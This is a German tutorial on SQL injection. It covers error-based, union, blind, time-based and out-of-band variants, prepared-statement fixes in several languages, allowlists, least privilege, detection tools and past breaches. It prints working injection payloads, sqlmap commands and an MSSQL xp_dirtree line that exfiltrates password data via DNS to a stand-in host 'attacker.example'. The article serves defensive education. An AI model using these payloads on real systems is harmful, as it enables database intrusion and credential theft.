SQL-Injection ist seit 1998 (Phrack 54-08, „NT Web Technology Vulnerabilities") dokumentiert und damit eine der ältesten Web-Schwachstellen — und sie ist bis heute jährlich für massive Datenlecks verantwortlich. Dieser Artikel zeigt die vier klassischen Varianten, ihre Detektion und die strukturelle Antwort: parametrierte Queries. Mit konkreten Code-Beispielen pro Sprache und einer kurzen Geschichte der einflussreichsten Vorfälle.
Die vier klassischen Varianten
1. Classic / Error-Based Injection.
Der/die Angreifer:in injiziert Payload und sieht das Ergebnis direkt in der Response — oft als Fehler-Meldung, die SQL-Inhalt verrät, oder als manipuliertes Such-Ergebnis.
-- Eingabe in Such-Feld:
admin' AND CAST((SELECT password FROM users WHERE id=1) AS INT)--
-- Datenbank wirft Cast-Fehler:
-- "Conversion failed when converting the varchar value 'argon2id$...' to data type int"
-- Angreifer sieht das Passwort-Hash in der Fehler-Meldung2. Union-Based Injection.
Anhängen einer UNION SELECT-Klausel, die fremde Daten ins ursprüngliche Result einfügt:
-- Ursprüngliche Query:
SELECT name, price FROM products WHERE category = '{eingabe}'
-- Mit Payload "x' UNION SELECT username, password FROM users--":
SELECT name, price FROM products WHERE category = 'x'
UNION SELECT username, password FROM users--'Daten aus users werden in das Suchergebnis injiziert. Bedingung: gleiche Spalten-Anzahl und kompatible Typen.
3. Boolean-Blind Injection.
Wenn die Anwendung keine Fehler oder direkten Daten zurückgibt, aber unterschiedlich reagiert (z. B. „gefunden" vs. „nicht gefunden"), lässt sich pro Anfrage ein Bit extrahieren:
-- Frage: ist das erste Zeichen des Admin-Passworts ein "a"?
admin' AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a'--
-- Wenn Login-Form 200 statt 401 antwortet → ja, ist "a"
-- Wenn nicht → nächstes Zeichen probieren
-- Mit binärer Suche und Automatisierung: zeichenweise das Passwort extrahierenLangsam (eine Anfrage pro Zeichen), aber automatisierbar. sqlmap und ähnliche Tools machen das schnell.
4. Time-Based Blind Injection.
Wenn die App gar nichts Unterschiedliches zurückgibt — gleiche Antwort, gleiche Statuscodes — bleibt nur die Zeit als Side-Channel:
-- Wenn erstes Zeichen ist "a", schlafe 5 Sekunden:
admin' AND IF(SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a', SLEEP(5), 0)--
-- App antwortet nach 5s → ja, ist "a"
-- App antwortet sofort → neinSehr langsam, aber funktioniert selbst gegen sehr verhärtete Apps.
5. Out-of-Band Injection (OOB).
Wenn weder Response noch Timing analysierbar sind, lassen sich Daten über DNS oder HTTP exfiltrieren:
-- MSSQL: DNS-Query an Angreifer-Domain mit Daten im Hostnamen
'; DECLARE @data VARCHAR(1024);
SELECT @data = password FROM users WHERE id=1;
EXEC('master..xp_dirtree "\\\\' + @data + '.attacker.example\\share"')--DB-Server löst die DNS-Anfrage auf — Angreifer:in sieht die Daten in seinen DNS-Logs. Funktioniert nur, wenn die DB ausgehende Netzwerk-Zugriffe hat.
Prepared Statements — die strukturelle Lösung
Die Antwort ist seit über 20 Jahren bekannt und in jeder Datenbank-Library implementiert: Prepared Statements. Code-Schablone und Daten werden getrennt an die Datenbank übergeben.
Node.js mit pg (PostgreSQL):
// Schadhaft
const result = await pool.query(
`SELECT * FROM users WHERE username = '${username}'`
);
// Sicher: Prepared Statement
const result = await pool.query(
'SELECT * FROM users WHERE username = $1',
[username]
);Node.js mit mysql2:
// Sicher
const [rows] = await connection.execute(
'SELECT * FROM users WHERE username = ?',
[username]
);Python mit psycopg (PostgreSQL):
# Sicher
cur.execute(
"SELECT * FROM users WHERE username = %s",
(username,)
)Python mit sqlite3:
# Sicher
cur.execute(
"SELECT * FROM users WHERE username = ?",
(username,)
)PHP mit PDO:
// Sicher
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
$stmt->execute(['username' => $username]);
$user = $stmt->fetch();Java mit JDBC:
// Sicher
PreparedStatement ps = conn.prepareStatement(
"SELECT * FROM users WHERE username = ?"
);
ps.setString(1, username);
ResultSet rs = ps.executeQuery();Go mit database/sql:
// Sicher
rows, err := db.Query(
"SELECT * FROM users WHERE username = $1",
username,
)In jeder Sprache, in jeder Library — das Pattern ist identisch: Platzhalter im Query-String, Werte als separate Parameter.
Wo Parametrierung nicht ausreicht
Prepared Statements lösen die meisten Fälle — aber nicht alle. Konkret kannst du nicht parametrieren:
- Tabellen-Namen (
SELECT * FROM ?funktioniert nicht). - Spalten-Namen (
SELECT ? FROM users). - ORDER BY-Klauseln (Spalten-Namen).
- LIMIT/OFFSET in manchen DBs (string-strikt).
- DDL-Statements (CREATE, DROP).
Für diese Fälle: Allowlist im Code.
// Schadhaft: User wählt Sortier-Spalte
const sortBy = req.query.sort;
const query = `SELECT * FROM products ORDER BY ${sortBy}`;
// sortBy = "(SELECT password FROM users WHERE id=1)" — Daten-Leak
// Sicher: Allowlist
const ALLOWED_SORT = new Set(['name', 'price', 'created_at']);
if (!ALLOWED_SORT.has(sortBy)) {
return res.status(400).send('Invalid sort column');
}
const query = `SELECT * FROM products ORDER BY ${sortBy}`;Bei LIMIT/OFFSET zusätzlich auf Integer-Typ validieren:
const limit = Math.max(1, Math.min(100, parseInt(req.query.limit) || 20));
const offset = Math.max(0, parseInt(req.query.offset) || 0);
const query = `SELECT * FROM products LIMIT ${limit} OFFSET ${offset}`;parseInt mit Default + Range-Check macht den Wert garantiert zu einer Zahl — kein Injection-Vektor mehr.
ORM und Query-Builder machen diese Fälle oft schon automatisch sicher — siehe sql-injection-orm-fallen.
Anti-Patterns
Anti-Pattern 1 — String-Konkatenation.
// Klassischer SQL-Injection-Vektor
const query = `SELECT * FROM users WHERE id = ${userId}`;Auch wenn userId aus parseInt kommt: keine Garantie ohne explizite Validierung. Niemals String-Konkat für Query-Bau.
Anti-Pattern 2 — Apostrophe-Escaping als „Schutz".
// Schadhaft: doppelt-Apostrophierung
const escaped = userInput.replace(/'/g, "''");
const query = `SELECT * FROM users WHERE username = '${escaped}'`;Funktioniert in manchen DBs für manche Cases. Hat aber zahlreiche Bypass-Vektoren:
- Backslash-Escape in MySQL:
\'heißt ein Apostroph; mit\\als Anführer wird der Filter umgangen. - Unicode-Anführungszeichen (
U+2019) werden vom Filter nicht erfasst, von MySQL aber wie ASCII-Apostroph interpretiert. - NULL-Bytes, EBCDIC-Codepoints und andere DB-spezifische Eigenheiten.
Prepared Statements vermeiden das Problem komplett.
Anti-Pattern 3 — Stored Procedures als Garant.
-- Stored Procedure mit dynamischem SQL — Injection im SP-Body!
CREATE PROCEDURE searchUsers(@name VARCHAR(100))
AS
BEGIN
DECLARE @sql VARCHAR(1000);
SET @sql = 'SELECT * FROM users WHERE name = ''' + @name + '''';
EXEC(@sql);
ENDStored Procedures können parametriert sein — sind aber nicht automatisch. Wenn die SP intern dynamisches SQL baut, ist Injection genauso möglich.
Anti-Pattern 4 — Annahme, dass Frontend-Validierung reicht.
JavaScript-Validation im Browser sagt nichts — Angreifer:innen umgehen das Browser-JS und schicken die Anfrage direkt. Validierung muss server-seitig stattfinden.
Detection und Tests
sqlmap — das Standard-Tool für SQL-Injection-Detection:
# Basis-Scan eines Endpunkts
sqlmap -u "https://example.com/search?q=test" --batch
# POST-Request mit Cookies
sqlmap -u "https://example.com/login" \
--data="username=admin&password=test" \
--cookie="session=abc" \
--batch
# Eskaliert bis zu Datenexfiltration, RCE (wenn möglich)sqlmap erkennt automatisch Database-Typ, Injection-Klasse, mögliche Daten-Exfiltration. Nur auf eigenen Apps oder mit ausdrücklicher Erlaubnis — sonst ist es Straftat (§ 202c StGB in Deutschland).
OWASP ZAP und Burp Suite Pro haben eingebaute SQLi-Scanner.
Statische Analyse:
- Semgrep mit SQL-Injection-Regeln (
p/sqli). - CodeQL (GitHub) mit Sicherheits-Pack.
- Snyk Code, Sonar, Checkmarx — kommerzielle SAST.
Code-Review-Pattern:
Grep im Code-Base nach:
- String-Konkat mit SQL-Keywords (
SELECT,INSERT,UPDATE,DELETE+ Template-Literal/Format-String). executeQuery,query,executemit String-Argument statt parametriert.db.raw(...),db.exec(...)ohne Parameter-Liste.
Reale Vorfälle
Heartland Payment Systems (2008). SQL-Injection in einem Zahlungs-Backend führte zur Kompromittierung von rund 134 Millionen Kreditkartendaten. Damals einer der größten Datenlecks der Geschichte. Angreifer (Albert Gonzalez) wurde 2010 zu 20 Jahren verurteilt.
Sony Pictures (2011). LulzSec-Gruppe nutzte SQL-Injection für die Veröffentlichung von Millionen Sony-Kundendaten. Bewusst öffentlich gemacht, um Aufmerksamkeit zu erzeugen.
TalkTalk UK (2015). Britischer Telekom-Anbieter, SQL-Injection in einem Web-Frontend, 157.000 Datensätze. Bußgeld 400.000 Pfund.
Equifax (2017). OGNL-Injection in Apache Struts (verwandt mit SQL-Injection), 147 Millionen Kreditdaten. Größter US-Datenleck dieser Klasse. Bußgelder über 700 Millionen USD.
Marriott / Starwood (2018). Komplexe Mehr-Stufen-Kompromittierung, an einem Punkt mit SQL-Injection. 500 Millionen Datensätze, 18,4 Millionen Pfund DSGVO-Bußgeld.
Die Vorfälle ziehen sich durch zwei Jahrzehnte — SQL-Injection ist keine Klasse, die „erledigt" ist. Pentest-Berichte 2024/25 finden weiterhin regelmäßig SQL-Injection in Custom-Apps, Legacy-Code, vergessenen Admin-Endpoints.
Datenbank-spezifische Eigenheiten
Verschiedene Datenbanken haben verschiedene Quirks, die Injection-Tests unterscheiden:
PostgreSQL:
--als Kommentar.||für String-Konkatenation.pg_sleep()für Time-Based.pg_read_file()für File-Read (wenn DB-User Rechte hat).
MySQL / MariaDB:
--(mit Leerzeichen!),#,/* */als Kommentar.CONCAT()für String-Verbindung.SLEEP()für Time-Based.LOAD_FILE()für File-Read.INTO OUTFILEfür File-Write (oft Webshell-Vektor).
MSSQL:
--als Kommentar.+für String-Konkat.WAITFOR DELAY '0:0:5'für Time-Based.xp_cmdshellfür RCE (wenn aktiviert, oft Default-deaktiviert seit MSSQL 2005).xp_dirtreefür OOB-DNS.
Oracle:
--als Kommentar.||für String-Konkat.DBMS_LOCK.SLEEP()für Time-Based.UTL_HTTPfür OOB.
SQLite:
--als Kommentar.||für String-Konkat.- Keine direkte Sleep-Funktion (Time-Based per Random-Hash-Ketten möglich).
- Keine Multi-Statement-Execution per Default (eingeschränkt durch Engine).
Beim Pentest oder Code-Review hilft die Datenbank-Erkennung: bestimmte Payloads funktionieren nur in bestimmten DBs.
Least Privilege im Datenbank-User
Auch bei perfekter Parametrierung ist Least Privilege im DB-User Pflicht-Bestandteil der Defense-in-Depth:
Schadhaft — Web-App nutzt postgres-Superuser:
-- App-Connection-String:
-- postgres://postgres:masterpass@db:5432/myapp
-- Bei erfolgreicher SQL-Injection: alles möglich
-- DROP DATABASE, CREATE EXTENSION, COPY FROM, etc.Sicher — separater App-User mit minimalen Rechten:
-- Einmalig:
CREATE USER myapp_user WITH PASSWORD 'strong-password';
GRANT CONNECT ON DATABASE myapp TO myapp_user;
GRANT USAGE ON SCHEMA public TO myapp_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO myapp_user;
-- Kein DROP, kein CREATE, kein COPY, kein Superuser-RechtBei einer SQL-Injection in der App kann der/die Angreifer:in dann maximal die Daten lesen/ändern, die der App-User darf — kein DROP TABLE, kein Filesystem-Zugriff, kein CREATE EXTENSION für RCE.
Zusätzlich:
- Migrationen unter separatem User (
myapp_migrate) mit DDL-Rechten — App selbst hat sie nicht. - Read-Only-Replica für Reports und Analytics — kein Write-Zugriff von dort.
- Row-Level Security (PostgreSQL) für Multi-Tenant-Trennung — siehe multi-tenancy-isolation (Kap 15).
Häufige Stolperfallen
„Wir nutzen Stored Procedures, also kein SQLi-Risiko
Falsch. Stored Procedures können dynamisches SQL bauen (EXEC(@sql), EXECUTE IMMEDIATE). Wenn das dynamische SQL aus Parametern konstruiert wird, ist Injection drin. Parametrierung muss innerhalb der SP gemacht werden, nicht nur außen.
LIKE-Patterns mit User-Input
WHERE name LIKE '%{userInput}%' ist klassischer Injection-Vektor. Auch parametriert müssen die Wildcards (%, _) escaped werden, sonst kann ein:e Angreifer:in Wildcard-Patterns nutzen, um sensitive Daten per Trial-and-Error zu erraten (Side-Channel via Performance).
UTF-8-Encoding-Bypass historisch
Klassischer Trick gegen MySQL pre-5.1: %bf%27 (Multi-Byte-UTF-8) wurde als Escape-Sequenz interpretiert und umging Apostrophe-Filter. Heute meist gefixt, aber Beispiel dafür, warum Filter-basierte Verteidigung schlechter ist als Parametrierung.
ORDER BY-Injection ist ein häufiger Übersehener
Bei „dynamisch sortieren"-Features wird die Spalte oft aus User-Input genommen. Wenn dort SQL eingeschmuggelt wird, ist es ein Daten-Leak-Vektor. Allowlist immer bei dynamischen Spaltennamen.
DB-Fehler-Meldungen in Production zeigen
Eine sehr verbreitete Schwäche: App fängt SQL-Fehler nicht ab und zeigt sie an die Nutzer:in. Pentests starten oft mit gezielten Fehler-Triggern, um aus der Antwort die DB-Engine und Schema-Details zu lesen. Generic 500-Page in Production, detaillierte Fehler nur in Logs.
Time-Based-Detection ist Standard im Pentest
Selbst gut abgeschirmte Apps (kein Output-Mismatch, kein Fehler-Detail) werden routinemäßig auf Time-Based getestet. SLEEP(5) in MySQL, pg_sleep(5) in Postgres, WAITFOR DELAY in MSSQL — jede Sekunde Verzögerung ist ein Detection-Signal. Defense: WAF mit Time-Based-Pattern-Detection ergänzt Parametrierung.
WAF ist kein Ersatz
Web Application Firewalls (Cloudflare, AWS WAF, Akamai) erkennen viele Standard-SQLi-Patterns. Bug-Bounty-Forschende haben aber regelmäßig WAF-Bypasses dokumentiert — durch Encoding, Whitespace-Tricks, Comment-Injection. WAF reduziert Angriffsfläche; ersetzt nicht parametrierte Queries.
Weiterführende Ressourcen
Externe Quellen
- OWASP SQL Injection Prevention Cheat Sheet
- PortSwigger Web Security Academy — SQL Injection
- sqlmap
- PayloadsAllTheThings — SQL Injection
- Exploit-DB
- OWASP — SQL Injection
- PostgreSQL — PREPARE
- MySQL — Prepared Statements